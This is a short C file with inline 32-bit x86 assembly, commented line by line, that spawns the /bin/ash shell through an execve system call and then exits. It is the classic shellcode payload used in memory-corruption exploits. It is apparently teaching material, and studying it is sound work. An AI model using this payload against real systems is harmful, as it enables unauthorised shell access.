void main(){
__asm__("

        // execve /bin/ash
        xor    %eax,%eax         #clear eax
        push   %eax              #push eax onto the stack
        pushl  $0x6873612f       #push /ash onto the stack 
        pushl  $0x6e69622f       #push /bin onto the stack
        mov    %esp,%ebx         #mov contents of esp into ebx
        lea    0x8(%esp,1),%edx  #loads effective address
        push   %eax              #push eax onto the stack
        push   %ebx              #push ebx onto the stack
        lea    (%esp,1),%ecx     #load effective address
        mov    $0xb,%al          #syscall for execve()
        int    $0x80             #execute syscall

        // exit();
        xor    %eax,%eax         #clear eax register
        mov    $0x1,%al          #syscall for exit
        int    $0x80             #execute syscall

");
}